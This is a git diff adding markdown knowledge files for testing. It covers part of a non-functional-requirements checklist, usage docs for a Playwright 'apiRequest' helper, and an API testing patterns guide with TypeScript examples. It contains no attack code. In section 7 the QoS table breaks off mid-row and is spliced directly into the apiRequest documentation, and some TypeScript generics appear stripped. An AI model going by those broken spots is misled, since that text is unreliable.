| P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load | +| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load? | System crash during peak traffic | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled | +| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn | P1: Availability target defined, P2: Redundancy validated (multi-region/zone) | +| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang? | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging | + +**Common Gaps:** + +- Stateful session management (can't scale horizontally) +- No load testing, bottlenecks unknown +- SLA undefined or unrealistic (99.99% without redundancy) +- No circuit breakers (cascading failures) + +**Mitigation Examples:** + +- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling +- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links +- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy +- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors + +--- + +## 4. Disaster Recovery (DR) + +**Question:** What happens when the worst-case scenario occurs? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- | +| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability | P2: RTO defined and tested, P2: RPO validated (backup frequency) | +| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced? | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested | +| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity? | Ransomware vulnerability; corrupted backups | P2: Backup restore succeeds, P2: Backup immutability validated | + +**Common Gaps:** + +- RTO/RPO undefined (no recovery plan) +- Failover never tested (manual process, prone to errors) +- Backups exist but restoration never validated (untested backups = no backups) + +**Mitigation Examples:** + +- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures +- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly +- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly + +--- + +## 5. Security + +**Question:** Is the design safe by default? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | +| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement | +| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)? | Compliance violations; data theft | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works | +| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)? | Credentials leaked in git history | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager | +| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)? | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented | + +**Common Gaps:** + +- Weak authentication (no OAuth, hardcoded API keys) +- No encryption at rest (plaintext in database) +- Secrets in git (API keys, passwords in config files) +- No input validation (vulnerable to SQLi, XSS, command injection) + +**Mitigation Examples:** + +- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes +- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+ +- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks +- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs + +--- + +## 6. Monitorability, Debuggability & Manageability + +**Question:** Can we operate and fix this in production? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- | +| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs | +| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy? | Inability to diagnose issues in real-time | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format) | +| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog? | Flying blind regarding system health | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully | +| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build? | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior | + +**Common Gaps:** + +- No distributed tracing (can't debug across microservices) +- Static log levels (requires redeploy to enable DEBUG) +- No metrics endpoint (blind to system health) +- Configuration hardcoded (requires full deploy for minor changes) + +**Mitigation Examples:** + +- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs +- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON) +- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration) +- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly) + +--- + +## 7. QoS (Quality of Service) & QoE (Quality of Experience) + +**Question:** How does it perform, and how does it feel? + +| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) | +| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- | +| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets? | Slow API responses affecting throughput | P3: P95 latency config > Playwright > direct) +- **TypeScript generics**: Type-safe response bodies +- **No browser required**: Pure API testing without browser overhead + +## Pattern Examples + +### Example 1: Basic API Request + +**Context**: Making authenticated API requests with automatic retry and type safety. + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('should fetch user data', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + headers: { Authorization: 'Bearer token' }, + }); + + expect(status).toBe(200); + expect(body.name).toBe('John Doe'); // TypeScript knows body is User +}); +``` + +**Key Points**: + +- Generic type `` provides TypeScript autocomplete for `body` +- Status and body destructured from response +- Headers passed as object +- Automatic retry for 5xx errors (configurable) + +### Example 2: Schema Validation (Single Line) + +**Context**: Validate API responses match expected schema with single-line syntax. + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { z } from 'zod'; + +// JSON Schema validation +test('should validate response schema (JSON Schema)', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + validateSchema: { + type: 'object', + required: ['id', 'name', 'email'], + properties: { + id: { type: 'string' }, + name: { type: 'string' }, + email: { type: 'string', format: 'email' }, + }, + }, + }); + // Throws if schema validation fails + expect(status).toBe(200); +}); + +// Zod schema validation +const UserSchema = z.object({ + id: z.string(), + name: z.string(), + email: z.string().email(), +}); + +test('should validate response schema (Zod)', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/users/123', + validateSchema: UserSchema, + }); + // Response body is type-safe AND validated + expect(status).toBe(200); + expect(body.email).toContain('@'); +}); +``` + +**Key Points**: + +- Single `validateSchema` parameter +- Supports JSON Schema, Zod, YAML files, OpenAPI specs +- Throws on validation failure with detailed errors +- Zero boilerplate validation code + +### Example 3: POST with Body and Retry Configuration + +**Context**: Creating resources with custom retry behavior for error testing. + +**Implementation**: + +```typescript +test('should create user', async ({ apiRequest }) => { + const newUser = { + name: 'Jane Doe', + email: 'jane@example.com', + }; + + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/users', + body: newUser, // Automatically sent as JSON + headers: { Authorization: 'Bearer token' }, + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); +}); + +// Disable retry for error testing +test('should handle 500 errors', async ({ apiRequest }) => { + await expect( + apiRequest({ + method: 'GET', + path: '/api/error', + retryConfig: { maxRetries: 0 }, // Disable retry + }), + ).rejects.toThrow('Request failed with status 500'); +}); +``` + +**Key Points**: + +- `body` parameter auto-serializes to JSON +- Default retry: 5xx errors, 3 retries, exponential backoff +- Disable retry with `retryConfig: { maxRetries: 0 }` +- Only 5xx errors retry (4xx errors fail immediately) + +### Example 4: URL Resolution Strategy + +**Context**: Flexible URL handling for different environments and test contexts. + +**Implementation**: + +```typescript +// Strategy 1: Explicit baseUrl (highest priority) +await apiRequest({ + method: 'GET', + path: '/users', + baseUrl: 'https://api.example.com', // Uses https://api.example.com/users +}); + +// Strategy 2: Config baseURL (from fixture) +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test.use({ configBaseUrl: 'https://staging-api.example.com' }); + +test('uses config baseURL', async ({ apiRequest }) => { + await apiRequest({ + method: 'GET', + path: '/users', // Uses https://staging-api.example.com/users + }); +}); + +// Strategy 3: Playwright baseURL (from playwright.config.ts) +// playwright.config.ts +export default defineConfig({ + use: { + baseURL: 'https://api.example.com', + }, +}); + +test('uses Playwright baseURL', async ({ apiRequest }) => { + await apiRequest({ + method: 'GET', + path: '/users', // Uses https://api.example.com/users + }); +}); + +// Strategy 4: Direct path (full URL) +await apiRequest({ + method: 'GET', + path: 'https://api.example.com/users', // Full URL works too +}); +``` + +**Key Points**: + +- Four-tier resolution: explicit > config > Playwright > direct +- Trailing slashes normalized automatically +- Environment-specific baseUrl easy to configure + +### Example 5: Integration with Recurse (Polling) + +**Context**: Waiting for async operations to complete (background jobs, eventual consistency). + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/fixtures'; + +test('should poll until job completes', async ({ apiRequest, recurse }) => { + // Create job + const { body } = await apiRequest({ + method: 'POST', + path: '/api/jobs', + body: { type: 'export' }, + }); + + const jobId = body.id; + + // Poll until ready + const completedJob = await recurse( + () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }), + (response) => response.body.status === 'completed', + { timeout: 60000, interval: 2000 }, + ); + + expect(completedJob.body.result).toBeDefined(); +}); +``` + +**Key Points**: + +- `apiRequest` returns full response object +- `recurse` polls until predicate returns true +- Composable utilities work together seamlessly + +### Example 6: Microservice Testing (Multiple Services) + +**Context**: Test interactions between microservices without a browser. + +**Implementation**: + +```typescript +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001'; +const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002'; + +test.describe('Microservice Integration', () => { + test('should validate cross-service user lookup', async ({ apiRequest }) => { + // Create user in user-service + const { body: user } = await apiRequest({ + method: 'POST', + path: '/api/users', + baseUrl: USER_SERVICE, + body: { name: 'Test User', email: 'test@example.com' }, + }); + + // Create order in order-service (validates user via user-service) + const { status, body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE, + body: { + userId: user.id, + items: [{ productId: 'prod-1', quantity: 2 }], + }, + }); + + expect(status).toBe(201); + expect(order.userId).toBe(user.id); + }); + + test('should reject order for invalid user', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE, + body: { + userId: 'non-existent-user', + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(400); + expect(body.code).toBe('INVALID_USER'); + }); +}); +``` + +**Key Points**: + +- Test multiple services without browser +- Use `baseUrl` to target different services +- Validate cross-service communication +- Pure API testing - fast and reliable + +### Example 7: GraphQL API Testing + +**Context**: Test GraphQL endpoints with queries and mutations. + +**Implementation**: + +```typescript +test.describe('GraphQL API', () => { + const GRAPHQL_ENDPOINT = '/graphql'; + + test('should query users via GraphQL', async ({ apiRequest }) => { + const query = ` + query GetUsers($limit: Int) { + users(limit: $limit) { + id + name + email + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { limit: 10 }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.users).toHaveLength(10); + }); + + test('should create user via mutation', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + name + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { name: 'GraphQL User', email: 'gql@example.com' }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.data.createUser.id).toBeDefined(); + }); +}); +``` + +**Key Points**: + +- GraphQL via POST request +- Variables in request body +- Check `body.errors` for GraphQL errors (not status code) +- Works for queries and mutations + +### Example 8: Operation-Based Overload (OpenAPI / Code Generators) + +**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0. + +**Implementation**: + +```typescript +// Generated operation definition — structural typing, no import from playwright-utils needed +// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown } + +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +// --- Basic usage: operation replaces method + path --- +test('should upsert person via operation overload', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + operation: upsertPersonv2({ customerId }), + headers: getHeaders(customerId), + body: personInput, // compile-time typed as Schemas.PersonInput + }); + + expect(status).toBe(200); + expect(body.id).toBeDefined(); // body typed as Schemas.Person +}); + +// --- Typed query parameters (replaces string concatenation) --- +test('should list people with typed query', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: getPeoplev2({ customerId }), + headers: getHeaders(customerId), + query: { page: 0, page_size: 5 }, // typed from operation's query definition + }); + + expect(body.items).toHaveLength(5); +}); + +// --- Params escape hatch (pre-formatted query strings) --- +test('should fetch billing history with raw params', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: getBillingHistoryv2({ customerId }), + headers: getHeaders(customerId), + params: { + 'filters[start_date]': getThisMonthTimestamp(), + 'filters[date_type]': 'MONTH', + }, + }); + + expect(body.entries.length).toBeGreaterThan(0); +}); + +// --- Works with recurse (polling) --- +test('should poll until person is reviewed', async ({ apiRequest, recurse }) => { + await recurse( + async () => + apiRequest({ + operation: getPersonv2({ customerId, hash }), + headers: getHeaders(customerId), + }), + (res) => { + expect(res.status).toBe(200); + expect(res.body.status).toBe('REVIEWED'); + }, + { timeout: 30000, interval: 1000 }, + ); +}); + +// --- Schema validation chains work identically --- +test('should create movie with schema validation', async ({ apiRequest }) => { + const { body } = await apiRequest({ + operation: createMovieOp, + headers: commonHeaders(authToken), + body: movie, + }).validateSchema(CreateMovieResponseSchema, { + shape: { status: 200, data: { name: movie.name } }, + }); + + expect(body.data.id).toBeDefined(); +}); +``` + +**Key Points**: + +- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time +- Response body, request body, and query types inferred from operation definition +- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }` +- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`) +- `params` escape hatch for pre-formatted strings — wins over `query` on conflict +- Fully composable with `recurse`, `validateSchema`, and all existing features +- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values + +## Comparison with Vanilla Playwright + +| Vanilla Playwright | playwright-utils apiRequest | +| ---------------------------------------------- | ---------------------------------------------------------------------------------- | +| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` | +| `const body = await resp.json()` | Response already parsed | +| `expect(resp.ok()).toBeTruthy()` | Status code directly accessible | +| No retry logic | Auto-retry 5xx errors with backoff | +| No schema validation | Built-in multi-format validation | +| Manual error handling | Descriptive error messages | + +## When to Use + +**Use apiRequest for:** + +- ✅ Pure API/service testing (no browser needed) +- ✅ Microservice integration testing +- ✅ GraphQL API testing +- ✅ Schema validation needs +- ✅ Tests requiring retry logic +- ✅ Background API calls in UI tests +- ✅ Contract testing support +- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+) + +**Stick with vanilla Playwright for:** + +- Simple one-off requests where utility overhead isn't worth it +- Testing Playwright's native features specifically +- Legacy tests where migration isn't justified + +## Related Fragments + +- `api-testing-patterns.md` - Comprehensive pure API testing patterns +- `overview.md` - Installation and design principles +- `auth-session.md` - Authentication token management +- `recurse.md` - Polling for async operations +- `fixtures-composition.md` - Combining utilities with mergeTests +- `log.md` - Logging API requests +- `contract-testing.md` - Pact contract testing + +## Anti-Patterns + +**❌ Ignoring retry failures:** + +```typescript +try { + await apiRequest({ method: 'GET', path: '/api/unstable' }); +} catch { + // Silent failure - loses retry information +} +``` + +**✅ Let retries happen, handle final failure:** + +```typescript +await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught +``` + +**❌ Disabling TypeScript benefits:** + +```typescript +const response: any = await apiRequest({ method: 'GET', path: '/users' }); +``` + +**✅ Use generic types:** + +```typescript +const { body } = await apiRequest({ method: 'GET', path: '/users' }); +// body is typed as User[] +``` + +**❌ Mixing operation overload with explicit generics:** + +```typescript +// Don't pass a generic when using operation — types are inferred from the operation +const { body } = await apiRequest({ + operation: getPersonv2({ customerId }), + headers: getHeaders(customerId), +}); +``` + +**✅ Let the operation infer the types:** + +```typescript +const { body } = await apiRequest({ + operation: getPersonv2({ customerId }), + headers: getHeaders(customerId), +}); +// body type inferred from operation.response +``` + +**❌ Mixing operation with method/path:** + +```typescript +// Compile error — operation and method/path are mutually exclusive +await apiRequest({ + operation: getPersonv2({ customerId }), + method: 'GET', // Error: method?: never + path: '/api/person', // Error: path?: never +}); +``` diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md new file mode 100644 index 0000000..564f0b2 --- /dev/null +++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md @@ -0,0 +1,915 @@ +# API Testing Patterns + +## Principle + +Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic. + +## Rationale + +Many teams over-rely on E2E/browser tests when API tests would be more appropriate: + +- **Slower feedback**: Browser tests take seconds, API tests take milliseconds +- **More brittle**: UI changes break tests even when API works correctly +- **Wrong abstraction**: Testing business logic through UI layers adds noise +- **Resource heavy**: Browsers consume memory and CPU + +API-first testing provides: + +- **Fast execution**: No browser startup, no rendering, no JavaScript execution +- **Direct validation**: Test exactly what the service returns +- **Better isolation**: Test service logic independent of UI +- **Easier debugging**: Clear request/response without DOM noise +- **Contract validation**: Verify API contracts explicitly + +## When to Use API Tests vs E2E Tests + +| Scenario | API Test | E2E Test | +| ------------------------- | ------------- | ------------- | +| CRUD operations | ✅ Primary | ❌ Overkill | +| Business logic validation | ✅ Primary | ❌ Overkill | +| Error handling (4xx, 5xx) | ✅ Primary | ⚠️ Supplement | +| Authentication flows | ✅ Primary | ⚠️ Supplement | +| Data transformation | ✅ Primary | ❌ Overkill | +| User journeys | ❌ Can't test | ✅ Primary | +| Visual regression | ❌ Can't test | ✅ Primary | +| Cross-browser issues | ❌ Can't test | ✅ Primary | + +**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests. + +## Pattern Examples + +### Example 1: Pure API Test (No Browser) + +**Context**: Test REST API endpoints directly without any browser context. + +**Implementation**: + +```typescript +// tests/api/users.spec.ts +import { test, expect } from '@playwright/test'; + +// No page, no browser - just API +test.describe('Users API', () => { + test('should create user', async ({ request }) => { + const response = await request.post('/api/users', { + data: { + name: 'John Doe', + email: 'john@example.com', + role: 'user', + }, + }); + + expect(response.status()).toBe(201); + + const user = await response.json(); + expect(user.id).toBeDefined(); + expect(user.name).toBe('John Doe'); + expect(user.email).toBe('john@example.com'); + }); + + test('should get user by ID', async ({ request }) => { + // Create user first + const createResponse = await request.post('/api/users', { + data: { name: 'Jane Doe', email: 'jane@example.com' }, + }); + const { id } = await createResponse.json(); + + // Get user + const getResponse = await request.get(`/api/users/${id}`); + expect(getResponse.status()).toBe(200); + + const user = await getResponse.json(); + expect(user.id).toBe(id); + expect(user.name).toBe('Jane Doe'); + }); + + test('should return 404 for non-existent user', async ({ request }) => { + const response = await request.get('/api/users/non-existent-id'); + expect(response.status()).toBe(404); + + const error = await response.json(); + expect(error.code).toBe('USER_NOT_FOUND'); + }); + + test('should validate required fields', async ({ request }) => { + const response = await request.post('/api/users', { + data: { name: 'Missing Email' }, // email is required + }); + + expect(response.status()).toBe(400); + + const error = await response.json(); + expect(error.code).toBe('VALIDATION_ERROR'); + expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) })); + }); +}); +``` + +**Key Points**: + +- No `page` fixture needed - only `request` +- Tests run without browser overhead +- Direct HTTP assertions +- Clear error handling tests + +### Example 2: API Test with apiRequest Utility + +**Context**: Use enhanced apiRequest for schema validation, retry, and type safety. + +**Implementation**: + +```typescript +// tests/api/orders.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; +import { z } from 'zod'; + +// Define schema for type safety and validation +const OrderSchema = z.object({ + id: z.string().uuid(), + userId: z.string(), + items: z.array( + z.object({ + productId: z.string(), + quantity: z.number().positive(), + price: z.number().positive(), + }), + ), + total: z.number().positive(), + status: z.enum(['pending', 'processing', 'shipped', 'delivered']), + createdAt: z.string().datetime(), +}); + +type Order = z.infer; + +test.describe('Orders API', () => { + test('should create order with schema validation', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: 'user-123', + items: [ + { productId: 'prod-1', quantity: 2, price: 29.99 }, + { productId: 'prod-2', quantity: 1, price: 49.99 }, + ], + }, + validateSchema: OrderSchema, // Validates response matches schema + }); + + expect(status).toBe(201); + expect(body.id).toBeDefined(); + expect(body.status).toBe('pending'); + expect(body.total).toBe(109.97); // 2*29.99 + 49.99 + }); + + test('should handle server errors with retry', async ({ apiRequest }) => { + // apiRequest retries 5xx errors by default + const { status, body } = await apiRequest({ + method: 'GET', + path: '/api/orders/order-123', + retryConfig: { + maxRetries: 3, + retryDelay: 1000, + }, + }); + + expect(status).toBe(200); + }); + + test('should list orders with pagination', async ({ apiRequest }) => { + const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({ + method: 'GET', + path: '/api/orders', + params: { page: 1, limit: 10, status: 'pending' }, + }); + + expect(status).toBe(200); + expect(body.orders).toHaveLength(10); + expect(body.total).toBeGreaterThan(10); + expect(body.page).toBe(1); + }); +}); +``` + +**Key Points**: + +- Zod schema for runtime validation AND TypeScript types +- `validateSchema` throws if response doesn't match +- Built-in retry for transient failures +- Type-safe `body` access +- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+) + +### Example 3: Microservice-to-Microservice Testing + +**Context**: Test service interactions without browser - validate API contracts between services. + +**Implementation**: + +```typescript +// tests/api/service-integration.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Service Integration', () => { + const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001'; + const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002'; + const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003'; + + test('order service should validate user exists', async ({ apiRequest }) => { + // Create user in user-service + const { body: user } = await apiRequest({ + method: 'POST', + path: '/api/users', + baseUrl: USER_SERVICE_URL, + body: { name: 'Test User', email: 'test@example.com' }, + }); + + // Create order in order-service (should validate user via user-service) + const { status, body: order } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: user.id, + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(201); + expect(order.userId).toBe(user.id); + }); + + test('order service should reject invalid user', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: 'non-existent-user', + items: [{ productId: 'prod-1', quantity: 1 }], + }, + }); + + expect(status).toBe(400); + expect(body.code).toBe('INVALID_USER'); + }); + + test('order should decrease inventory', async ({ apiRequest, recurse }) => { + // Get initial inventory + const { body: initialInventory } = await apiRequest({ + method: 'GET', + path: '/api/inventory/prod-1', + baseUrl: INVENTORY_SERVICE_URL, + }); + + // Create order + await apiRequest({ + method: 'POST', + path: '/api/orders', + baseUrl: ORDER_SERVICE_URL, + body: { + userId: 'user-123', + items: [{ productId: 'prod-1', quantity: 2 }], + }, + }); + + // Poll for inventory update (eventual consistency) + const { body: updatedInventory } = await recurse( + () => + apiRequest({ + method: 'GET', + path: '/api/inventory/prod-1', + baseUrl: INVENTORY_SERVICE_URL, + }), + (response) => response.body.quantity === initialInventory.quantity - 2, + { timeout: 10000, interval: 500 }, + ); + + expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2); + }); +}); +``` + +**Key Points**: + +- Multiple service URLs for microservice testing +- Tests service-to-service communication +- Uses `recurse` for eventual consistency +- No browser needed for full integration testing + +### Example 4: GraphQL API Testing + +**Context**: Test GraphQL endpoints with queries and mutations. + +**Implementation**: + +```typescript +// tests/api/graphql.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +const GRAPHQL_ENDPOINT = '/graphql'; + +test.describe('GraphQL API', () => { + test('should query users', async ({ apiRequest }) => { + const query = ` + query GetUsers($limit: Int) { + users(limit: $limit) { + id + name + email + role + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { limit: 10 }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.users).toHaveLength(10); + expect(body.data.users[0]).toHaveProperty('id'); + expect(body.data.users[0]).toHaveProperty('name'); + }); + + test('should create user via mutation', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + name + email + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { + name: 'GraphQL User', + email: 'graphql@example.com', + }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeUndefined(); + expect(body.data.createUser.id).toBeDefined(); + expect(body.data.createUser.name).toBe('GraphQL User'); + }); + + test('should handle GraphQL errors', async ({ apiRequest }) => { + const query = ` + query GetUser($id: ID!) { + user(id: $id) { + id + name + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query, + variables: { id: 'non-existent' }, + }, + }); + + expect(status).toBe(200); // GraphQL returns 200 even for errors + expect(body.errors).toBeDefined(); + expect(body.errors[0].message).toContain('not found'); + expect(body.data.user).toBeNull(); + }); + + test('should handle validation errors', async ({ apiRequest }) => { + const mutation = ` + mutation CreateUser($input: CreateUserInput!) { + createUser(input: $input) { + id + } + } + `; + + const { status, body } = await apiRequest({ + method: 'POST', + path: GRAPHQL_ENDPOINT, + body: { + query: mutation, + variables: { + input: { + name: '', // Invalid: empty name + email: 'invalid-email', // Invalid: bad format + }, + }, + }, + }); + + expect(status).toBe(200); + expect(body.errors).toBeDefined(); + expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT'); + }); +}); +``` + +**Key Points**: + +- GraphQL queries and mutations via POST +- Variables passed in request body +- GraphQL returns 200 even for errors (check `body.errors`) +- Test validation and business logic errors + +### Example 5: Database Seeding and Cleanup via API + +**Context**: Use API calls to set up and tear down test data without direct database access. + +**Implementation**: + +```typescript +// tests/api/with-data-setup.spec.ts +import { test, expect } from '@seontechnologies/playwright-utils/fixtures'; + +test.describe('Orders with Data Setup', () => { + let testUser: { id: string; email: string }; + let testProducts: Array<{ id: string; name: string; price: number }>; + + test.beforeAll(async ({ request }) => { + // Seed user via API + const userResponse = await request.post('/api/users', { + data: { + name: 'Test User', + email: `test-${Date.now()}@example.com`, + }, + }); + testUser = await userResponse.json(); + + // Seed products via API + testProducts = []; + for (const product of [ + { name: 'Widget A', price: 29.99 }, + { name: 'Widget B', price: 49.99 }, + { name: 'Widget C', price: 99.99 }, + ]) { + const productResponse = await request.post('/api/products', { + data: product, + }); + testProducts.push(await productResponse.json()); + } + }); + + test.afterAll(async ({ request }) => { + // Cleanup via API + if (testUser?.id) { + await request.delete(`/api/users/${testUser.id}`); + } + for (const product of testProducts) { + await request.delete(`/api/products/${product.id}`); + } + }); + + test('should create order with seeded data', async ({ apiRequest }) => { + const { status, body } = await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: testUser.id, + items: [ + { productId: testProducts[0].id, quantity: 2 }, + { productId: testProducts[1].id, quantity: 1 }, + ], + }, + }); + + expect(status).toBe(201); + expect(body.userId).toBe(testUser.id); + expect(body.items).toHaveLength(2); + expect(body.total).toBe(2 * 29.99 + 49.99); + }); + + test('should list user orders', async ({ apiRequest }) => { + // Create an order first + await apiRequest({ + method: 'POST', + path: '/api/orders', + body: { + userId: testUser.id, + items: [{ productId: testProducts[2].id, quantity: 1 }], + }, + }); + + // List orders for user + const { status, body } = await apiRequest({ + method: 